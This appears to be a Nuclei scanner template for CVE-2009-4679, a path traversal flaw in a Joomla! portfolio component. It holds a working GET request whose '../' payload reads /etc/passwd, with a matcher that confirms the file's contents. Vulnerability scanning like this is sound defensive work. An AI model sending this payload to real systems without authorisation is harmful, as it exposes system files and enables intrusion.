id: CVE-2009-4679

info:
  name: Joomla! Portfolio Nexus - Remote File Inclusion
  author: daffainfo
  severity: high
  description: |
    Joomla! Portfolio Nexus 1.5 contains a remote file inclusion vulnerability in the inertialFATE iF (com_if_nexus) component that allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
  remediation: |
    Apply the latest security patches and updates provided by Joomla! to fix the Remote File Inclusion vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/33440
    - https://nvd.nist.gov/vuln/detail/CVE-2009-4679
    - http://www.exploit-db.com/exploits/10754
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2009-4679
    cwe-id: CWE-22
    epss-score: 0.06322
    epss-percentile: 0.91084
    cpe: cpe:2.3:a:inertialfate:com_if_nexus:1.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: inertialfate
    product: com_if_nexus
  tags: cve2009,cve,joomla,lfi,nexus,edb,inertialfate,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_kif_nexus&controller=../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100ae52b1d9f804950b1d1f170682d4f9173b0c4c3472ed82569a8b335c85c104000220706dd2187be9a59cc4f0ebb19360855a056fc4c22aa202965da804118bfa3ada:922c64590222798bb761d5b6d8e72950